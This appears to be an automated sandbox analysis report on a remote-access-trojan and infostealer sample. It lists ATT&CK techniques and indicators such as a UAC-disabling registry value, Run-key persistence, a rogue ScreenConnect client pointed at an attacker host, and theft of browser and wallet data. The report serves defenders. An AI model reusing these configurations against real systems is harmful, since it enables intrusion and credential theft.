asyncrat | 16930620b3b9166e0ffbd98f5d5b580c9919fd6ccdcc74fb996f53577f508267

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	powershell.exe

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rh.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	L.exe

Blocklisted process makes network request 4 IoCs

flow	pid	Process
669	3328	powershell.exe
670	376	powershell.exe
673	1968	mshta.exe
676	2224	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2224	powershell.exe
3328	powershell.exe
376	powershell.exe
3612	powershell.exe
1064	powershell.exe
2056	powershell.exe
4568	powershell.exe
1064	powershell.exe
4492	powershell.exe
5936	powershell.exe

Contacts a large (1697) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Downloads MZ/PE file

Indicator Removal: Network Share Connection Removal 1 TTPs 4 IoCs

Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation.

defense_evasion

Network Share Connection Removal

T1070.005

pid	Process
3648	net.exe
2260	net.exe
5956	cmd.exe
2160	net.exe

Sets service image path in registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

credential_access stealer

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (c13606fe9009f11d)\ImagePath = "\"C:\\Program Files (x86)\\ScreenConnect Client (c13606fe9009f11d)\\ScreenConnect.ClientService.exe\" \"?e=Access&y=Guest&h=fnback9636.site&p=8041&s=e3bb5d08-ea88-4093-91d0-e334b6605827&k=BgIAAACkAABSU0ExAAgAAAEAAQA9jYIrttwwC%2fVG8pSgng7hOaOxKOcglvdFFtkWeOWtX8fqsZgIKfVrWuN3su1CgiFbvlCYAExDue6opAYsm4ZcU%2fXlAy9prKBw8dHgYIr5MKTVcZ179o9h8%2f%2bnJY4jOeDKVmcK57L%2fEAFTuKdJ4YjAwIneAffDLjer1Vf%2banxJ%2b%2fQG9GXKFTsCbQPC0DPoXGR4nhNlJsUIT37D9pxvtL82%2fbs5OFG6ebhQ2MBDFYY21oOxjFRMMIWi2Owda95WULvij7v9vchg4Zacetd90xJGtyFFMUL53dS%2fRJ%2bjUcnwVvLNyKx3HwIoiBSP6LM2Nm5EN5LWd0R%2b3hStk2Qltk%2bh&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAA9XALcRE8K0Wryg3aFeb6QgAAAAACAAAAAAAQZgAAAAEAACAAAABSbthFXRNiGdqTdRWZs8Tt6je6fpIR15kWBaqxiqnawQAAAAAOgAAAAAIAACAAAAAfEZbCh8%2fuONv%2f4jYsHhB4GLiLM1XpWiFpRPQz3emD0KAEAAD7OkbPBtToVGOB1V3IuS3x87jmDiSFglNSEM7kKOeJTjan0wByWPczBppTwHVNXh1%2bawjBHfhsEEUBqBgMitIyPUBd4z1P1k1l1C%2fM%2bmNR7nmn7qZnQeK7e%2fuPKI6IwnRHpTSRVTgf2cy06AiZPseSIQ4w5LmDIi%2b6ZiQc3zr7AHVgIwRTmwCSWkROiDxq%2bCbEbnD2GXNDMGVaPrYZHsuvwtY5VqIDEr37S8D8OVxFlXFWjy45%2fQ0W6bZMTDQD47rMYo7F5klipS4nzj4GB3gP6MwW0OGnHTYl0c5FljrAOnbEFowlsiMHXt1QltqpjQFzOlhRhDhsYs9E%2fdmsEOtu0aqyjFbUqNZQPsiK3MuJokKQ2zbT36TYsjcaktpxjw0XdCS5%2fptGAV6xE7VnodlNY2KdjxULDlllrQIZrpbSOUmeEwvleqAEsWCGmc0U%2fBcTPbi7Qbix0G9H%2f57RNBAMUmNlIFc8lc9Bx%2fINaOHe6KXy9GYPENd0O2v8kw7AAC1in1DQJcA4I5K%2bAGWU7klDorYhb%2frtCPMUCzPMjPKqoKKK%2bzLNKxWIFneiuetdCHPlpVRwmC5JY5tEOSRP6Ugy9Ki71IGmtxGniZ9OlDIyvDVWqBLeAnvzgBMUhtlMahPloF3wvfm6e9Eoei657O4zKnNhe3NgLa5Li%2bT%2bKXuZAHZicIqxAzUOVeHvFEF10FoisMThdmpuOGTJzYa82UdpP3GDqONTL65zce2N9beUW%2b0WVC8sOwdCe0nzTRPez%2bEcCMlGnp7%2fcEH4NH34jV%2bTt9SH4UKLjkBbxCtbNqQwLporUKEiswguIhd%2bKMTdopq%2fnigJ3woQjE2NUxARiqWkPZz%2bWt60frnWcWp%2fGrmyYdOT%2b4gkncfGpx40T6Ro1Eh0EQnncDZXPtDgd1%2bqfWcLpEWuK8SchotZR07ddked%2fRIegZOaCTI1hkiDeT%2fjGcVLrtfFl5Zb2lwJ%2bxhZ1c1JQVZ1AnhITwmOaVa2XJQKxSZ7pBBnFz2D18M7m%2btcE1CBRwGHm7hatjm0%2bFWYAfrXm5eSAsalTm2saWXa7T8gPQDvnqoPil7gS4QWRvBkZDDOZ28CAt%2fks3C%2fqS51RuR%2bpcDJ0RUWYSypv%2bmJ%2fgLEj8d8QJJn9Ylx0DX7EJ%2f%2b0KrZp2IM8Ph40HA7%2bATveOJAhvLG6LlfySb4uB0HWg8mTbQGeurFWhiX4I61wZ9h0E%2bowFOcAROs9a9le1PbkqxOvOY7cQZqP4Fq1KYxmN8K6kKmeG3LxmdoCSkxLnQaNY7Z%2b2oDSj9s9ZayaGAYhGZZor2PKlsC5QJNxOjvVYqfA9ELRa8sJ2zOoQ02GwRmD%2bZarvXcsT3mXrHzg9cZZ0SD58w%2fVaJAWcda0vzALfOaylXIWuhHzuiDPDowPYq7oiW592eB5hj69dBLehJlEIhYfB6wdal0YSRosTeD%2faiEl2WtC02w76rFpeoctpVITK039zTF1XfxWl%2fBkybJfDn7Bon42Bi8dloBxHNqRe14BwpLr2dc0KgDIQ8zmvbrTEqUKDH%2fS%2b9VY5J0nMM42tPOzORgnEBvLPLG0us1BP0EakAAAADX3z467F3xil0Edjd7x%2bGGkdXOZ0AcmJelJrwdRknDKpAykkfDsK3s0IEX49yXqBiZ7J6sMH8mDiYzIjTOF5DW&c=v1&c=&c=&c=&c=&c=&c=&c=\""	ScreenConnect.ClientService.exe

Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Uses browser remote debugging 2 TTPs 4 IoCs

Can be used control the browser and steal sensitive information such as credentials and session cookies.

Steal Web Session Cookie

T1539

Modify Authentication Process

pid	Process
440	chrome.exe
2796	chrome.exe
4364	chrome.exe
4764	chrome.exe

Checks BIOS information in registry 2 TTPs 8 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Mig.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Mig.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rh.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rh.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	LB31.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	LB31.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	L.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	L.exe

Checks computer location settings 2 TTPs 11 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1361837696-2276465416-1936241636-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1361837696-2276465416-1936241636-1000\Control Panel\International\Geo\Nation	IMG001.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1361837696-2276465416-1936241636-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1361837696-2276465416-1936241636-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1361837696-2276465416-1936241636-1000\Control Panel\International\Geo\Nation	Statement_1382374.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1361837696-2276465416-1936241636-1000\Control Panel\International\Geo\Nation	New Text Document mod.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1361837696-2276465416-1936241636-1000\Control Panel\International\Geo\Nation	VBVEd6f.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1361837696-2276465416-1936241636-1000\Control Panel\International\Geo\Nation	0fVlNye.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1361837696-2276465416-1936241636-1000\Control Panel\International\Geo\Nation	GuidanceConnectors.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1361837696-2276465416-1936241636-1000\Control Panel\International\Geo\Nation	IMG001.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1361837696-2276465416-1936241636-1000\Control Panel\International\Geo\Nation	9758xBqgE1azKnB.exe

Drops startup file 5 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ZeusChat.url	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ZeusChat.url	cmd.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Run.lnk	IMG001.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\9758xBqgE1azKnB.lnk	9758xBqgE1azKnB.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\9758xBqgE1azKnB.lnk	9758xBqgE1azKnB.exe

Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Executes dropped EXE 64 IoCs

pid	Process
2608	AmLzNi.exe
1680	Xworm%20V5.6.exe
2504	XClient.exe
2636	333.exe
3664	VBVEd6f.exe
2680	test12.exe
3524	test6.exe
1428	test14.exe
1324	pantest.exe
1416	test9.exe
3996	test10-29.exe
4056	test19.exe
5076	test10.exe
4088	test_again4.exe
4468	test23.exe
1420	test5.exe
1424	test11.exe
4900	test20.exe
1796	test_again3.exe
4072	test16.exe
4336	test13.exe
232	test_again2.exe
3260	test15.exe
2544	test18.exe
2784	test21.exe
3400	test22.exe
4544	test8.exe
1256	test7.exe
2720	test-again.exe
2740	test17.exe
2112	vg9qcBa.exe
4116	vg9qcBa.exe
3676	win.exe
4392	cbchr.exe
772	FaceBuild.exe
2700	InstaIIer.exe
4560	TikTokDesktop18.exe
2292	TikTok18.exe
4448	x4lburt.exe
188	computerlead.exe
3964	installer.exe
928	9758xBqgE1azKnB.exe
2068	7mpPLxE.exe
3604	7mpPLxE.exe
1492	7mpPLxE.exe
1968	0fVlNye.exe
1908	Reynolds.com
4572	Reynolds.com
444	IMG001.exe
4484	rh.exe
1884	steamerx.exe
1088	justpoc.exe
4176	Lumm.exe
3648	tftp.exe
4020	4.exe
2180	file.exe
4916	IMG001.exe
864	tftp.exe
700	9758xBqgE1azKnB.exe
1448	LB31.exe
2480	Statement_1382374.exe
4568	L.exe
4960	GuidanceConnectors.exe
6520	ttl.exe

Identifies Wine through registry keys 2 TTPs 2 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1361837696-2276465416-1936241636-1000\Software\Wine	rh.exe
Key opened	\REGISTRY\USER\S-1-5-21-1361837696-2276465416-1936241636-1000\Software\Wine	L.exe

Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs

Clear Windows Event Logs to hide the activity of an intrusion.

defense_evasion

Clear Windows Event Logs

T1070.001

description	ioc	Process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-RestartManager%4Operational.evtx	svchost.exe

Loads dropped DLL 28 IoCs

pid	Process
4392	cbchr.exe
4560	TikTokDesktop18.exe
1692	MsiExec.exe
2840	rundll32.exe
2840	rundll32.exe
2840	rundll32.exe
2840	rundll32.exe
2840	rundll32.exe
2840	rundll32.exe
2840	rundll32.exe
2840	rundll32.exe
2840	rundll32.exe
7136	Mig.exe
4916	IMG001.exe
4916	IMG001.exe
4916	IMG001.exe
6704	MsiExec.exe
5488	MsiExec.exe
6200	ScreenConnect.ClientService.exe
6200	ScreenConnect.ClientService.exe
6200	ScreenConnect.ClientService.exe
6200	ScreenConnect.ClientService.exe
6200	ScreenConnect.ClientService.exe
6200	ScreenConnect.ClientService.exe
6200	ScreenConnect.ClientService.exe
6200	ScreenConnect.ClientService.exe
6200	ScreenConnect.ClientService.exe
6200	ScreenConnect.ClientService.exe

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 6 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\ = "C:\\Users\\Admin\\AppData\\Roaming\\NsMiner\\IMG001.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1361837696-2276465416-1936241636-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\9758xBqgE1azKnB = "C:\\Users\\Admin\\AppData\\Roaming\\9758xBqgE1azKnB.exe"	9758xBqgE1azKnB.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1361837696-2276465416-1936241636-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Administrator = "C:\\ProgramData\\Microsoft\\csrss.exe"	win.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	TikTok18.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\""	x4lburt.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1361837696-2276465416-1936241636-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ = "C:\\Users\\Admin\\AppData\\Roaming\\NsMiner\\IMG001.exe"	IMG001.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Enumerates connected drives 3 TTPs 47 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\E:	IMG001.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 6 IoCs

Web Service

T1102

flow	ioc
629	raw.githubusercontent.com
724	bitbucket.org
728	bitbucket.org
190	bitbucket.org
191	bitbucket.org
628	raw.githubusercontent.com

Network Service Discovery 1 TTPs 3 IoCs

Attempt to gather information on host's network.

persistence privilege_escalation

Network Service Discovery

T1046

pid	Process
4784	arp.exe
5512	cmd.exe
2664	ARP.EXE

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135

Power Settings 1 TTPs 8 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
2480	powercfg.exe
2484	cmd.exe
668	powercfg.exe
2360	powercfg.exe
3748	powercfg.exe
4612	powercfg.exe
548	powercfg.exe
2848	powercfg.exe

AutoIT Executable 1 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral3/files/0x002800000004514e-7.dat	autoit_exe

Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

Suspicious Windows Authentication Registry Modification.

Authentication Package

T1547.002

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\Authentication Packages = 6d007300760031005f003000000043003a005c00500072006f006700720061006d002000460069006c00650073002000280078003800360029005c00530063007200650065006e0043006f006e006e00650063007400200043006c00690065006e00740020002800630031003300360030003600660065003900300030003900660031003100640029005c00530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f0077007300410075007400680065006e007400690063006100740069006f006e005000610063006b006100670065002e0064006c006c0000000000	msiexec.exe

Drops file in System32 directory 7 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	svchost.exe
File opened for modification	C:\Windows\system32\MRT.exe	LB31.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776	svchost.exe

Enumerates processes with tasklist 1 TTPs 5 IoCs

Process Discovery

T1057

pid	Process
396	tasklist.exe
5888	tasklist.exe
4780	tasklist.exe
4896	tasklist.exe
656	tasklist.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
4484	rh.exe
4568	L.exe

Suspicious use of SetThreadContext 11 IoCs

description	pid	Process	procid_target
PID 2112 set thread context of 4116	2112	vg9qcBa.exe	136
PID 4392 set thread context of 3320	4392	cbchr.exe	147
PID 4560 set thread context of 4968	4560	TikTokDesktop18.exe	165
PID 3964 set thread context of 3664	3964	installer.exe	170
PID 188 set thread context of 3568	188	computerlead.exe	171
PID 2068 set thread context of 1492	2068	7mpPLxE.exe	180
PID 1908 set thread context of 4572	1908	Reynolds.com	196
PID 4572 set thread context of 3604	4572	Reynolds.com	197
PID 928 set thread context of 700	928	9758xBqgE1azKnB.exe	246
PID 1448 set thread context of 5084	1448	LB31.exe	279
PID 5564 set thread context of 4304	5564	build4.exe	312

Drops file in Program Files directory 20 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\ScreenConnect Client (c13606fe9009f11d)\ScreenConnect.WindowsBackstageShell.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (c13606fe9009f11d)\app.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (c13606fe9009f11d)\Client.Override.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (c13606fe9009f11d)\Client.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (c13606fe9009f11d)\ScreenConnect.ClientService.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (c13606fe9009f11d)\ScreenConnect.WindowsBackstageShell.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (c13606fe9009f11d)\ScreenConnect.WindowsClient.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (c13606fe9009f11d)\ScreenConnect.WindowsFileManager.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (c13606fe9009f11d)\Client.Override.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (c13606fe9009f11d)\ScreenConnect.Client.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (c13606fe9009f11d)\ScreenConnect.Core.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (c13606fe9009f11d)\ScreenConnect.WindowsCredentialProvider.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (c13606fe9009f11d)\ScreenConnect.ClientService.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (c13606fe9009f11d)\web.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (c13606fe9009f11d)\Client.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (c13606fe9009f11d)\ScreenConnect.Windows.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (c13606fe9009f11d)\ScreenConnect.WindowsAuthenticationPackage.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (c13606fe9009f11d)\ScreenConnect.WindowsClient.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (c13606fe9009f11d)\ScreenConnect.WindowsFileManager.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (c13606fe9009f11d)\system.config	msiexec.exe

Drops file in Windows directory 27 IoCs

description	ioc	Process
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\SystemTemp	chrome.exe
File opened for modification	C:\Windows\TeddySecretariat	0fVlNye.exe
File opened for modification	C:\Windows\Installer\e5dbae6.msi	msiexec.exe
File opened for modification	C:\Windows\OrganDiscretion	0fVlNye.exe
File opened for modification	C:\Windows\VatBukkake	0fVlNye.exe
File created	C:\Windows\Installer\e5dbae6.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIC27A.tmp	msiexec.exe
File created	C:\Windows\Installer\{22ED996E-A689-643F-9466-FE1A58134D42}\DefaultIcon	msiexec.exe
File opened for modification	C:\Windows\DownReceptor	0fVlNye.exe
File opened for modification	C:\Windows\HeroesMistakes	GuidanceConnectors.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIBDE4.tmp	msiexec.exe
File created	C:\Windows\Installer\wix{22ED996E-A689-643F-9466-FE1A58134D42}.SchedServiceConfig.rmi	MsiExec.exe
File opened for modification	C:\Windows\CentralAvoiding	0fVlNye.exe
File opened for modification	C:\Windows\UruguayNorthern	0fVlNye.exe
File opened for modification	C:\Windows\KeyboardsTwin	0fVlNye.exe
File created	C:\Windows\Tasks\UAC.job	schtasks.exe
File created	C:\Windows\Installer\e5dbae8.msi	msiexec.exe
File opened for modification	C:\Windows\ComfortSick	0fVlNye.exe
File opened for modification	C:\Windows\IdeasApp	0fVlNye.exe
File created	C:\Windows\Installer\SourceHash{22ED996E-A689-643F-9466-FE1A58134D42}	msiexec.exe
File opened for modification	C:\Windows\JoiningMazda	0fVlNye.exe
File opened for modification	C:\Windows\MozambiqueAppropriate	0fVlNye.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIBE04.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\{22ED996E-A689-643F-9466-FE1A58134D42}\DefaultIcon	msiexec.exe

Launches sc.exe 9 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4204	sc.exe
6676	sc.exe
1292	sc.exe
1696	sc.exe
5932	sc.exe
5992	sc.exe
1304	sc.exe
4148	sc.exe
3160	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Detects Pyinstaller 2 IoCs

pyinstaller

resource	yara_rule
behavioral3/files/0x002a0000000452b6-2379.dat	pyinstaller
behavioral3/files/0x00310000000452c7-6700.dat	pyinstaller

Embeds OpenSSL 1 IoCs

Embeds OpenSSL, may be used to circumvent TLS interception.

resource	yara_rule
behavioral3/files/0x002800000004528b-1549.dat	embeds_openssl

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 5 IoCs

pid	pid_target	Process	procid_target
2256	4392	WerFault.exe	145
4296	3568	WerFault.exe	171
4932	4484	WerFault.exe	203
4680	4304	WerFault.exe	312
5940	4020	WerFault.exe	214

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wmic.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AddInProcess32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	steamerx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	justpoc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Lumm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Statement_1382374.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dxdiag.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wmic.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TikTokDesktop18.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	computerlead.exe
